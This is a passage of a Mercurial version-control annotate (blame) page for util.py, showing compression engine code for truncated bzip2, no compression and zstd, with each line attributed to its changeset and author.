Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3564 return 'bz2truncated' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3565 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3566 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3567 return None, '_truncatedBZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3568 |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3569 # We don't implement compressstream because it is hackily handled elsewhere. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3570 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3571 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3572 return _TruncatedBZ2CompressedStreamReader(fh) |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3573 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3574 compengines.register(_truncatedbz2engine()) |
30265
6a8aff737a17
util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30181
diff
changeset
|
3575 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3576 class _noopengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3577 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3578 return 'none' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3579 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3580 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3581 """No compression is performed. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3582 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3583 Use this compression engine to explicitly disable compression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3584 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3585 return 'none', 'UN' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3586 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3587 # Clients always support uncompressed payloads. Servers don't because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3588 # unless you are on a fast network, uncompressed payloads can easily |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3589 # saturate your network pipe. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3590 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3591 return compewireprotosupport('none', 0, 10) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3592 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3593 # We don't implement revlogheader because it is handled specially |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3594 # in the revlog class. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3595 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3596 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3597 return it |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3598 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3599 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3600 return fh |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3601 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3602 class nooprevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3603 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3604 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3605 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3606 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3607 return self.nooprevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3608 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3609 compengines.register(_noopengine()) |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
3610 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3611 class _zstdengine(compressionengine): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3612 def name(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3613 return 'zstd' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3614 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3615 @propertycache |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3616 def _module(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3617 # Not all installs have the zstd module available. So defer importing |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3618 # until first access. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3619 try: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3620 from . import zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3621 # Force delayed import. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3622 zstd.__version__ |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3623 return zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3624 except ImportError: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3625 return None |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3626 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3627 def available(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3628 return bool(self._module) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3629 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3630 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3631 """A modern compression algorithm that is fast and highly flexible. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3632 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3633 Only supported by Mercurial 4.1 and newer clients. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3634 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3635 With the default settings, zstd compression is both faster and yields |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3636 better compression than ``gzip``. It also frequently yields better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3637 compression than ``bzip2`` while operating at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3638 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3639 If this engine is available and backwards compatibility is not a |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3640 concern, it is likely the best available engine. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3641 """ |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3642 return 'zstd', 'ZS' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3643 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3644 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3645 return compewireprotosupport('zstd', 50, 50) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3646 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3647 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3648 return '\x28' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3649 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3650 def compressstream(self, it, opts=None): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3651 opts = opts or {} |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3652 # zstd level 3 is almost always significantly faster than zlib |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3653 # while providing no worse compression. It strikes a good balance |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3654 # between speed and compression. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3655 level = opts.get('level', 3) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3656 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3657 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3658 z = zstd.ZstdCompressor(level=level).compressobj() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3659 for chunk in it: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3660 data = z.compress(chunk) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3661 if data: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3662 yield data |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3663 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3664 yield z.flush() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3665 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3666 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3667 return _ZstdCompressedStreamReader(fh, self._module) |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3668 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3669 class zstdrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3670 def __init__(self, zstd, level=3): |
37496
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3671 # TODO consider omitting frame magic to save 4 bytes. |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3672 # This writes content sizes into the frame header. That is |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3673 # extra storage. But it allows a correct size memory allocation |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3674 # to hold the result. |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3675 self._cctx = zstd.ZstdCompressor(level=level) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3676 self._dctx = zstd.ZstdDecompressor() |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3677 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3678 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3679 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3680 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3681 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3682 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3683 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3684 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3685 if insize < 50: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3686 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3687 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3688 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3689 compressed = self._cctx.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3690 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3691 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3692 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3693 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3694 z = self._cctx.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3695 chunks = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3696 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3697 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3698 pos2 = pos + self._compinsize |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3699 chunk = z.compress(data[pos:pos2]) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3700 if chunk: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3701 chunks.append(chunk) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3702 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3703 chunks.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3704 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3705 if sum(map(len, chunks)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3706 return ''.join(chunks) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3707 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3708 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3709 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3710 insize = len(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3711 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3712 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3713 # This was measured to be faster than other streaming |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3714 # decompressors. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3715 dobj = self._dctx.decompressobj() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3716 chunks = [] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3717 pos = 0 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3718 while pos < insize: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3719 pos2 = pos + self._decompinsize |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3720 chunk = dobj.decompress(data[pos:pos2]) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3721 if chunk: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3722 chunks.append(chunk) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3723 pos = pos2 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3724 # Frame should be exhausted, so no finish() API. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3725 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3726 return ''.join(chunks) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3727 except Exception as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3728 raise error.RevlogError(_('revlog decompress error: %s') % |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
3729 stringutil.forcebytestr(e)) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3730 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3731 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3732 opts = opts or {} |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3733 return self.zstdrevlogcompressor(self._module, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3734 level=opts.get('level', 3)) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3735 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3736 compengines.register(_zstdengine()) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3737 |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3738 def bundlecompressiontopics(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3739 """Obtains a list of available bundle compressions for use in help.""" |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3740 # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3741 items = {} |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3742 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3743 # We need to format the docstring. So use a dummy object/type to hold it |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3744 # rather than mutating the original. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3745 class docobject(object): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3746 pass |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3747 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3748 for name in compengines: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3749 engine = compengines[name] |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3750 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3751 if not engine.available(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3752 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3753 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3754 bt = engine.bundletype() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3755 if not bt or not bt[0]: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3756 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3757 |
31811
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
